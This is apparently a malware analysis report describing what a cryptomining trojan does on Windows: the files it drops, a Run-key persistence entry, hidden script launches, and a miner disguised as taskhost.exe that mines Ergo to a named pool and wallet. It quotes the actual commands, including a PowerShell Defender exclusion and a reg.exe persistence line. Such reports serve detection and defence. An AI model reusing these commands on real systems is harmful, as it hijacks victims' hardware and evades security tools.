Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Updates' = '%APPDATA%\Microsoft\Updates\svchost.vbs'
Modifies file system
Creates the following files
- %TEMP%\tmpf9f7tmp.exe
- %APPDATA%\microsoft\updates\start.vbs
- %APPDATA%\microsoft\updates\start.bat
- %APPDATA%\microsoft\updates\setup.bat
- %APPDATA%\microsoft\updates\readme_zh.md
- %APPDATA%\microsoft\updates\readme.md
- %APPDATA%\microsoft\updates\quiet.exe
- %APPDATA%\microsoft\updates\open_web_monitor.url
- %APPDATA%\microsoft\updates\nbminer.exe.sha256
- %APPDATA%\microsoft\updates\modify_tdr_delay.reg
- %APPDATA%\microsoft\updates\install.vbs
- %APPDATA%\microsoft\updates\driver_uninstall.bat
- %APPDATA%\microsoft\updates\driver_install.bat
- %APPDATA%\microsoft\updates\svchost.vbs
- %TEMP%\rarsfx0\svchost.vbs
- %TEMP%\rarsfx0\install.vbs
- %TEMP%\rarsfx0\open_web_monitor.url
- %TEMP%\rarsfx0\nbminer.exe.sha256
- %TEMP%\rarsfx0\modify_tdr_delay.reg
- %TEMP%\rarsfx0\readme_zh.md
- %TEMP%\rarsfx0\taskhost.exe
- %TEMP%\rarsfx0\quiet.exe
- %TEMP%\rarsfx0\start.bat
- %TEMP%\rarsfx0\setup.bat
- %TEMP%\rarsfx0\driver_uninstall.bat
- %TEMP%\rarsfx0\driver_install.bat
- %TEMP%\rarsfx0\readme.md
- %TEMP%\rarsfx0\start.vbs
- %APPDATA%\microsoft\updates\taskhost.exe
Deletes the following files
- %TEMP%\rarsfx0\driver_install.bat
- %TEMP%\rarsfx0\driver_uninstall.bat
- %TEMP%\rarsfx0\install.vbs
- %TEMP%\rarsfx0\modify_tdr_delay.reg
- %TEMP%\rarsfx0\nbminer.exe.sha256
- %TEMP%\rarsfx0\open_web_monitor.url
- %TEMP%\rarsfx0\quiet.exe
- %TEMP%\rarsfx0\readme.md
- %TEMP%\rarsfx0\readme_zh.md
- %TEMP%\rarsfx0\start.bat
- %TEMP%\rarsfx0\start.vbs
- %TEMP%\rarsfx0\svchost.vbs
- %TEMP%\rarsfx0\taskhost.exe
Network activity
Connects to
- '45.##4.225.135':80
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\tmpf9f7tmp.exe'
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\RarSFX0\install.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Microsoft\Updates\svchost.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Microsoft\Updates\start.vbs"
- '%APPDATA%\microsoft\updates\quiet.exe' taskhost -a ergo -o stratum+tcp://ca.ergo.herominers.com:10250 -u 9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work pause
- '%APPDATA%\microsoft\updates\taskhost.exe' "-a" "ergo" "-o" "stratum+tcp://ca.ergo.herominers.com:10250" "-u" "9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work" "pause"
- '%APPDATA%\microsoft\updates\taskhost.exe' -a ergo -o stratum+tcp://ca.ergo.herominers.com:10250 -u 9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work pause -RUN -reboot-times 0
- '%APPDATA%\microsoft\updates\taskhost.exe' -a ergo -o stratum+tcp://ca.ergo.herominers.com:10250 -u 9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work pause -RUN -reboot-times 1
- '%APPDATA%\microsoft\updates\taskhost.exe' -a ergo -o stratum+tcp://ca.ergo.herominers.com:10250 -u 9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work pause -RUN -reboot-times 2
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\setup.bat" "' (with hidden window)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Microsoft\Updates\start.vbs"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Microsoft\Updates\start.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\start.bat" "' (with hidden window)
- '%APPDATA%\microsoft\updates\taskhost.exe' "-a" "ergo" "-o" "stratum+tcp://ca.ergo.herominers.com:10250" "-u" "9eXHarceQCkfc9FaHQScbx4BwspqrbxGvgvnig8wRBh6hrH8z26.work" "pause"' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath '%TEMP%\tmpF9F7tmp.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\setup.bat" "
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updates" /t REG_SZ /d ""%APPDATA%"\Microsoft\Updates\svchost.vbs" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Microsoft\Updates\start.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\start.bat" "
